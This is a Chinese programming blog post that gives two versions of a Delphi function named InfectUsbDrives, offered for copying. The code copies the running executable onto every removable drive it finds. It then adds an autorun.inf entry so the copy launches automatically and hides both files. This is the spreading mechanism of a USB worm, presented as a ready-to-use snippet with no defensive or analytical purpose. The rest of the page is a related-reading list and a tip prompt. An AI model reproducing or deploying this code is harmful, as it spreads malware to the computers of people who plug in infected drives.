delphi 感染U盘


本文整理自网络,侵删。

 Infect USB Drives 感染U盘

function InfectUsbDrives(ExeName:string):integer;
var
Drives: array[0..128] of char;
xDrive: PChar;
myFile: TextFile;
begin
Result := 0;
GetLogicalDriveStrings(SizeOf(Drives), Drives);
xDrive := Drives;
while xDrive^ <> #0 do
begin
if(GetDriveType(xDrive)=DRIVE_REMOVABLE)and(FileExists(xDrive)=True)and(FileExists(xDrive+':\'+ExeName)=False) then
begin
try
CopyFile(PChar(ParamStr(0)),PChar(xDrive+':\'+ExeName),False);
AssignFile(myFile, xDrive+':\autorun.inf');
if not FileExists(xDrive+':\autorun.inf') then ReWrite(myFile)
else Append(myFile);
WriteLn(myFile,'[autorun]'+#13#10+'open='+ExeName);
CloseFile(myFile);
SetFileAttributes(PChar(xDrive+':\'+ExeName), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(xDrive+':\autorun.inf'), FILE_ATTRIBUTE_HIDDEN);
Result := Result + 1;
except
end;
end;
Inc(xDrive, 4);
end;
end;
复制内容到剪贴板代码:

function InfectUsbDrives(ExeName:string):integer;
var
Drive: Char;
myFile: TextFile;
begin
Result := 0;
for Drive := 'A' to 'Z' do
begin
if (GetDriveType(PChar(Drive + ':\'))= DRIVE_REMOVABLE) then
begin
try
if(FileExists(Drive)=True)and(FileExists(Drive+':\'+ExeName)=False)then
begin
CopyFile(PChar(ParamStr(0)),PChar(Drive+':\'+ExeName),False);
AssignFile(myFile, Drive+':\autorun.inf');
if not FileExists(Drive+':\autorun.inf') then ReWrite(myFile)
else Append(myFile);
WriteLn(myFile,'[autorun]'+#13#10+'open='+ExeName);
CloseFile(myFile);
SetFileAttributes(PChar(Drive+':\'+ExeName), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(Drive+':\autorun.inf'), FILE_ATTRIBUTE_HIDDEN);
Result := Result + 1;
end;
except
end;
end;
end;
end;

相关阅读 >>

封装Delphi hook api

Delphi speedbutton按钮动态加载图片(从image和imagelist)

Delphi 获取文件crc和md5

Delphi中操作powerpoint幻灯片的示例代码

Delphi 与 c# 生成不带bom的utf8文件

Delphi http post json示例

Delphi 根据开始和结束符取得中间字符串

monthoftheyear:取得一个tdatetime变量的月份在年度中的索引

rad studio Delphi创建安卓服务creating android services

Delphi access violations 问题的解决之道

更多相关阅读请进入《Delphi》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...